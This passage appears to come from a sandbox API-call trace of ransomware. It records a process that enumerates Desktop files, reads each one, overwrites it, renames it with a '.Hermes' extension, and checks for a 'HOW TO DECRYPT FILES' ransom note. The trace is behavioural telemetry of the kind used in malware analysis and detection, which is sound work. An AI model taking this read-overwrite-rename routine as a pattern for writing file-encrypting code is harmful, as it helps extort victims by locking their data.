ftLastAccessTime.dwHighDateTime=0x1d4d316, ftLastWriteTime.dwLowDateTime=0xc64292e0, ftLastWriteTime.dwHighDateTime=0x1d4d316, nFileSizeHigh=0x0, nFileSizeLow=0x4b6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="l2E7ZB0C7JgdXKjfg41r.wav", cAlternateFileName="L2E7ZB~1.WAV")) returned 1 [0082.698] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743afdd0, ftCreationTime.dwHighDateTime=0x1d4d329, ftLastAccessTime.dwLowDateTime=0x1d746ec0, ftLastAccessTime.dwHighDateTime=0x1d4d147, ftLastWriteTime.dwLowDateTime=0x1d746ec0, ftLastWriteTime.dwHighDateTime=0x1d4d147, nFileSizeHigh=0x0, nFileSizeLow=0x14d6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ljwNeYj.avi", cAlternateFileName="")) returned 1 [0082.698] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4230e700, ftCreationTime.dwHighDateTime=0x1d4cc53, ftLastAccessTime.dwLowDateTime=0xd96ab1c0, ftLastAccessTime.dwHighDateTime=0x1d4cd46, ftLastWriteTime.dwLowDateTime=0xd96ab1c0, ftLastWriteTime.dwHighDateTime=0x1d4cd46, nFileSizeHigh=0x0, nFileSizeLow=0xfe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mJmzsgIR.avi", cAlternateFileName="")) returned 1 [0082.699] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f147410, ftCreationTime.dwHighDateTime=0x1d4cf2d, ftLastAccessTime.dwLowDateTime=0x9eac0370, ftLastAccessTime.dwHighDateTime=0x1d4c591, ftLastWriteTime.dwLowDateTime=0x9eac0370, ftLastWriteTime.dwHighDateTime=0x1d4c591, nFileSizeHigh=0x0, nFileSizeLow=0x76f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="m_cLn.wav", cAlternateFileName="")) returned 1 [0082.699] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfaf31c0, ftCreationTime.dwHighDateTime=0x1d4d16e, ftLastAccessTime.dwLowDateTime=0x74f5f490, ftLastAccessTime.dwHighDateTime=0x1d4cb82, ftLastWriteTime.dwLowDateTime=0x74f5f490, ftLastWriteTime.dwHighDateTime=0x1d4cb82, nFileSizeHigh=0x0, nFileSizeLow=0xbf4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="nK_drXKtsRh.m4a", cAlternateFileName="NK_DRX~1.M4A")) returned 1 [0082.699] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd723dc0, ftCreationTime.dwHighDateTime=0x1d4d58b, ftLastAccessTime.dwLowDateTime=0x5e9bc880, ftLastAccessTime.dwHighDateTime=0x1d4ce45, ftLastWriteTime.dwLowDateTime=0x5e9bc880, ftLastWriteTime.dwHighDateTime=0x1d4ce45, nFileSizeHigh=0x0, nFileSizeLow=0x2784, dwReserved0=0x0, dwReserved1=0x0, cFileName="NwrDTZ.docx", cAlternateFileName="NWRDTZ~1.DOC")) returned 1 [0082.699] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5558560, ftCreationTime.dwHighDateTime=0x1d4c646, ftLastAccessTime.dwLowDateTime=0xdbda0770, ftLastAccessTime.dwHighDateTime=0x1d4d4c2, ftLastWriteTime.dwLowDateTime=0xdbda0770, ftLastWriteTime.dwHighDateTime=0x1d4d4c2, nFileSizeHigh=0x0, nFileSizeLow=0x18fe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="OZa1OvHSiPZtGYMnr.avi", cAlternateFileName="OZA1OV~1.AVI")) returned 1 [0082.699] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd852da30, ftCreationTime.dwHighDateTime=0x1d4c795, ftLastAccessTime.dwLowDateTime=0x4a91a840, ftLastAccessTime.dwHighDateTime=0x1d4cd29, ftLastWriteTime.dwLowDateTime=0x4a91a840, ftLastWriteTime.dwHighDateTime=0x1d4cd29, nFileSizeHigh=0x0, nFileSizeLow=0xe45e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSUbGrWMOv90jjgcKmCA.jpg", cAlternateFileName="RSUBGR~1.JPG")) returned 1 [0082.700] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf81d4fd0, ftCreationTime.dwHighDateTime=0x1d4cf79, ftLastAccessTime.dwLowDateTime=0x6b961650, ftLastAccessTime.dwHighDateTime=0x1d4d582, ftLastWriteTime.dwLowDateTime=0x6b961650, ftLastWriteTime.dwHighDateTime=0x1d4d582, nFileSizeHigh=0x0, nFileSizeLow=0xb1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="t Ro6oiknl9GAPnQtW.odp", cAlternateFileName="TRO6OI~1.ODP")) returned 1 [0082.700] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9872f90, ftCreationTime.dwHighDateTime=0x1d4d0f2, ftLastAccessTime.dwLowDateTime=0x11234690, ftLastAccessTime.dwHighDateTime=0x1d4cbe9, ftLastWriteTime.dwLowDateTime=0x11234690, ftLastWriteTime.dwHighDateTime=0x1d4cbe9, nFileSizeHigh=0x0, nFileSizeLow=0x18bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="tCqcVLTbM__jDAEJR.gif", cAlternateFileName="TCQCVL~1.GIF")) returned 1 [0082.700] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc9fe10, ftCreationTime.dwHighDateTime=0x1d4c697, ftLastAccessTime.dwLowDateTime=0x9900c1d0, ftLastAccessTime.dwHighDateTime=0x1d4d3fc, ftLastWriteTime.dwLowDateTime=0x9900c1d0, ftLastWriteTime.dwHighDateTime=0x1d4d3fc, nFileSizeHigh=0x0, nFileSizeLow=0x1411e, dwReserved0=0x0, dwReserved1=0x0, cFileName="tt6gdO3lAoKJ51D9yzx.wav", cAlternateFileName="TT6GDO~1.WAV")) returned 1 [0082.700] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc0082b0, ftCreationTime.dwHighDateTime=0x1d4d385, ftLastAccessTime.dwLowDateTime=0xb057d090, ftLastAccessTime.dwHighDateTime=0x1d4c7da, ftLastWriteTime.dwLowDateTime=0xb057d090, ftLastWriteTime.dwHighDateTime=0x1d4c7da, nFileSizeHigh=0x0, nFileSizeLow=0xd4ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="uy _qJUK.mp3", cAlternateFileName="UY_QJU~1.MP3")) returned 1 [0082.700] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a09bd80, ftCreationTime.dwHighDateTime=0x1d4c6ef, ftLastAccessTime.dwLowDateTime=0x97b3f8f0, ftLastAccessTime.dwHighDateTime=0x1d4d5dd, ftLastWriteTime.dwLowDateTime=0x97b3f8f0, ftLastWriteTime.dwHighDateTime=0x1d4d5dd, nFileSizeHigh=0x0, nFileSizeLow=0xf38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vmnx49O7kGj.png", cAlternateFileName="VMNX49~1.PNG")) returned 1 [0082.701] FindNextFileW (in: hFindFile=0xfedf58, lpFindFileData=0x19e200 | out: lpFindFileData=0x19e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a09bd80, ftCreationTime.dwHighDateTime=0x1d4c6ef, ftLastAccessTime.dwLowDateTime=0x97b3f8f0, ftLastAccessTime.dwHighDateTime=0x1d4d5dd, ftLastWriteTime.dwLowDateTime=0x97b3f8f0, ftLastWriteTime.dwHighDateTime=0x1d4d5dd, nFileSizeHigh=0x0, nFileSizeLow=0xf38d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vmnx49O7kGj.png", cAlternateFileName="VMNX49~1.PNG")) returned 0 [0082.701] FindClose (in: hFindFile=0xfedf58 | out: hFindFile=0xfedf58) returned 1 [0082.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e488) returned 1 [0082.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e494) returned 1 [0082.701] CoTaskMemAlloc (cb=0xf) returned 0xfb7cf0 [0082.719] CoTaskMemAlloc (cb=0x19c) returned 0xfd3338 [0082.730] CoTaskMemAlloc (cb=0xf) returned 0xfb7a20 [0082.731] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-t3hSggSt8.csv", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\-t3hSggSt8.csv", lpFilePart=0x0) returned 0x26 [0082.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0082.731] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-t3hSggSt8.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\-t3hsggst8.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x380 [0082.731] GetFileType (hFile=0x380) returned 0x1 [0082.732] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0082.732] GetFileType (hFile=0x380) returned 0x1 [0082.732] GetFileSize (in: hFile=0x380, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x113c3 [0082.733] ReadFile (in: hFile=0x380, lpBuffer=0x3093ad8, nNumberOfBytesToRead=0x113c3, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x3093ad8*, lpNumberOfBytesRead=0x19e3dc*=0x113c3, lpOverlapped=0x0) returned 1 [0082.734] CloseHandle (hObject=0x380) returned 1 [0082.734] CoTaskMemAlloc (cb=0xb) returned 0xfb7a08 [0082.740] CoTaskMemAlloc (cb=0x12) returned 0xfb3458 [0082.742] CoTaskMemAlloc (cb=0xb) returned 0xfb7bd0 [0085.484] GetCurrentProcess () returned 0xffffffff [0085.520] GetCurrentProcess () returned 0xffffffff [0085.521] GetCurrentProcess () returned 0xffffffff [0085.521] GetCurrentProcess () returned 0xffffffff [0085.777] GetCurrentProcess () returned 0xffffffff [0085.778] GetCurrentProcess () returned 0xffffffff [0085.779] GetCurrentProcess () returned 0xffffffff [0085.780] GetCurrentProcess () returned 0xffffffff [0086.085] GetCurrentProcess () returned 0xffffffff [0086.085] GetCurrentProcess () returned 0xffffffff [0086.086] GetCurrentProcess () returned 0xffffffff [0086.087] GetCurrentProcess () returned 0xffffffff [0086.927] GetCurrentProcess () returned 0xffffffff [0086.928] GetCurrentProcess () returned 0xffffffff [0086.929] GetCurrentProcess () returned 0xffffffff [0086.930] GetCurrentProcess () returned 0xffffffff [0087.085] GetCurrentProcess () returned 0xffffffff [0087.086] GetCurrentProcess () returned 0xffffffff [0087.086] GetCurrentProcess () returned 0xffffffff [0087.087] GetCurrentProcess () returned 0xffffffff [0087.256] GetCurrentProcess () returned 0xffffffff [0087.256] GetCurrentProcess () returned 0xffffffff [0087.257] GetCurrentProcess () returned 0xffffffff [0087.258] GetCurrentProcess () returned 0xffffffff [0087.259] GetCurrentProcess () returned 0xffffffff [0087.259] GetCurrentProcess () returned 0xffffffff [0087.260] GetCurrentProcess () returned 0xffffffff [0087.269] GetCurrentProcess () returned 0xffffffff [0087.269] GetCurrentProcess () returned 0xffffffff [0087.270] GetCurrentProcess () returned 0xffffffff [0087.271] GetCurrentProcess () returned 0xffffffff [0087.272] GetCurrentProcess () returned 0xffffffff [0087.272] GetCurrentProcess () returned 0xffffffff [0087.278] GetCurrentProcess () returned 0xffffffff [0087.279] GetCurrentProcess () returned 0xffffffff [0087.280] GetCurrentProcess () returned 0xffffffff [0087.280] GetCurrentProcess () returned 0xffffffff [0087.285] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x19dd88, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0087.285] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", nBufferLength=0x105, lpBuffer=0x19ddec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x43 [0087.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e2a0) returned 1 [0087.285] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x19e31c | out: lpFileInformation=0x19e31c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56a29ff, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x97df7583, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x97df7583, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0087.285] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e29c) returned 1 [0087.375] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x19e1f8 | out: pfEnabled=0x19e1f8) returned 0x0 [0087.377] CoTaskMemAlloc (cb=0x12) returned 0xfb3718 [0087.379] CoTaskMemAlloc (cb=0x1bc) returned 0xfd9ce0 [0087.442] CoTaskMemAlloc (cb=0x13) returned 0xfb3858 [0087.443] CoTaskMemAlloc (cb=0x12) returned 0xfb38b8 [0087.445] CoTaskMemAlloc (cb=0x12) returned 0xfb37f8 [0087.453] CoTaskMemAlloc (cb=0xe) returned 0xf99508 [0087.455] CoTaskMemAlloc (cb=0x12) returned 0xfb38d8 [0087.579] CoTaskMemAlloc (cb=0x12) returned 0xfb3818 [0087.580] CoTaskMemAlloc (cb=0xe) returned 0xf99418 [0087.647] CoTaskMemAlloc (cb=0x12) returned 0xfb3638 [0087.648] CoTaskMemAlloc (cb=0x12) returned 0xfb3938 [0087.648] CoTaskMemAlloc (cb=0xe) returned 0xf994a8 [0087.649] CoTaskMemAlloc (cb=0x1a) returned 0xfca978 [0087.654] CoTaskMemAlloc (cb=0xe) returned 0xf99430 [0087.656] CoTaskMemAlloc (cb=0xe) returned 0xf99448 [0087.656] CoTaskMemAlloc (cb=0xe) returned 0xf994c0 [0087.657] CoTaskMemAlloc (cb=0xf) returned 0xf994d8 [0087.658] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0087.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0087.658] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0087.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0087.658] CoTaskMemAlloc (cb=0x13) returned 0xfb3738 [0087.658] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-t3hSggSt8.csv", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\-t3hSggSt8.csv", lpFilePart=0x0) returned 0x26 [0087.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0087.659] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-t3hSggSt8.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\-t3hsggst8.csv"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0087.702] GetFileType (hFile=0x41c) returned 0x1 [0087.702] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0087.702] GetFileType (hFile=0x41c) returned 0x1 [0087.703] WriteFile (in: hFile=0x41c, lpBuffer=0x313e98c*, nNumberOfBytesToWrite=0x113d0, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x313e98c*, lpNumberOfBytesWritten=0x19e3d0*=0x113d0, lpOverlapped=0x0) returned 1 [0087.705] CloseHandle (hObject=0x41c) returned 1 [0087.763] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-t3hSggSt8.csv", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\-t3hSggSt8.csv", lpFilePart=0x0) returned 0x26 [0087.763] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-t3hSggSt8.csv.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\-t3hSggSt8.csv.Hermes", lpFilePart=0x0) returned 0x2d [0087.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0087.764] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-t3hSggSt8.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\-t3hsggst8.csv"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e67a90, ftCreationTime.dwHighDateTime=0x1d4d119, ftLastAccessTime.dwLowDateTime=0x396ee0d0, ftLastAccessTime.dwHighDateTime=0x1d4cb5a, ftLastWriteTime.dwLowDateTime=0xadbf0c89, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x113d0)) returned 1 [0087.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0087.764] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\-t3hSggSt8.csv" (normalized: "c:\\users\\fd1hvy\\desktop\\-t3hsggst8.csv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\-t3hSggSt8.csv.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\-t3hsggst8.csv.hermes")) returned 1 [0087.885] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-wiWbBcmoqutvw1S.odt", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\-wiWbBcmoqutvw1S.odt", lpFilePart=0x0) returned 0x2c [0087.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0087.885] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-wiWbBcmoqutvw1S.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\-wiwbbcmoqutvw1s.odt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x41c [0087.885] GetFileType (hFile=0x41c) returned 0x1 [0087.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0087.885] GetFileType (hFile=0x41c) returned 0x1 [0087.885] GetFileSize (in: hFile=0x41c, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x6b53 [0087.886] ReadFile (in: hFile=0x41c, lpBuffer=0x31502bc, nNumberOfBytesToRead=0x6b53, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x31502bc*, lpNumberOfBytesRead=0x19e3dc*=0x6b53, lpOverlapped=0x0) returned 1 [0087.886] CloseHandle (hObject=0x41c) returned 1 [0088.216] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0088.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0088.216] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0088.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0088.216] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-wiWbBcmoqutvw1S.odt", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\-wiWbBcmoqutvw1S.odt", lpFilePart=0x0) returned 0x2c [0088.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0088.217] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\-wiWbBcmoqutvw1S.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\-wiwbbcmoqutvw1s.odt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0088.281] GetFileType (hFile=0x304) returned 0x1 [0088.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e31c) returned 1 [0088.281] GetFileType (hFile=0x304) returned 0x1 [0088.281] WriteFile (in: hFile=0x304, lpBuffer=0x2ffce58*, nNumberOfBytesToWrite=0x6b60, lpNumberOfBytesWritten=0x19e3d0, lpOverlapped=0x0 | out: lpBuffer=0x2ffce58*, lpNumberOfBytesWritten=0x19e3d0*=0x6b60, lpOverlapped=0x0) returned 1 [0088.282] CloseHandle (hObject=0x304) returned 1 [0088.344] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-wiWbBcmoqutvw1S.odt", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\-wiWbBcmoqutvw1S.odt", lpFilePart=0x0) returned 0x2c [0088.344] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-wiWbBcmoqutvw1S.odt.Hermes", nBufferLength=0x105, lpBuffer=0x19df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\-wiWbBcmoqutvw1S.odt.Hermes", lpFilePart=0x0) returned 0x33 [0088.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3b4) returned 1 [0088.344] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\-wiWbBcmoqutvw1S.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\-wiwbbcmoqutvw1s.odt"), fInfoLevelId=0x0, lpFileInformation=0x19e430 | out: lpFileInformation=0x19e430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x570e21f0, ftCreationTime.dwHighDateTime=0x1d4d352, ftLastAccessTime.dwLowDateTime=0x6b527fb0, ftLastAccessTime.dwHighDateTime=0x1d4c602, ftLastWriteTime.dwLowDateTime=0xae16fc79, ftLastWriteTime.dwHighDateTime=0x1d51251, nFileSizeHigh=0x0, nFileSizeLow=0x6b60)) returned 1 [0088.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3b0) returned 1 [0088.345] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\-wiWbBcmoqutvw1S.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\-wiwbbcmoqutvw1s.odt"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\-wiWbBcmoqutvw1S.odt.Hermes" (normalized: "c:\\users\\fd1hvy\\desktop\\-wiwbbcmoqutvw1s.odt.hermes")) returned 1 [0088.400] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0YuVxzeY9-b4MF.avi", nBufferLength=0x105, lpBuffer=0x19ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\0YuVxzeY9-b4MF.avi", lpFilePart=0x0) returned 0x2a [0088.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e334) returned 1 [0088.400] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\0YuVxzeY9-b4MF.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\0yuvxzey9-b4mf.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x304 [0088.400] GetFileType (hFile=0x304) returned 0x1 [0088.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e330) returned 1 [0088.400] GetFileType (hFile=0x304) returned 0x1 [0088.400] GetFileSize (in: hFile=0x304, lpFileSizeHigh=0x19e430 | out: lpFileSizeHigh=0x19e430*=0x0) returned 0x16858 [0088.401] ReadFile (in: hFile=0x304, lpBuffer=0x4057468, nNumberOfBytesToRead=0x16858, lpNumberOfBytesRead=0x19e3dc, lpOverlapped=0x0 | out: lpBuffer=0x4057468*, lpNumberOfBytesRead=0x19e3dc*=0x16858, lpOverlapped=0x0) returned 1 [0088.402] CloseHandle (hObject=0x304) returned 1 [0088.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", nBufferLength=0x105, lpBuffer=0x19def4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka", lpFilePart=0x0) returned 0x38 [0088.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e3a8) returned 1 [0088.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\HOW TO DECRYPT FILES.txt.Marozka" (normalized: "c:\\users\\fd1hvy\\desktop\\how to decrypt files.txt.marozka"), fInfoLevelId=0x0, lpFileInformation=0x19e424 | out: lpFileInformation=0x19e424*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0088.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e3a4) returned 1 [0088.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\0YuVxzeY9-b4MF.avi", nBufferLength=0x105, lpBuffer=0x19dddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop\\0YuVxzeY9-b4MF.avi", lpFilePart=0x0) returned 0x2a [0088.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e320) returned 1 [0088.485] 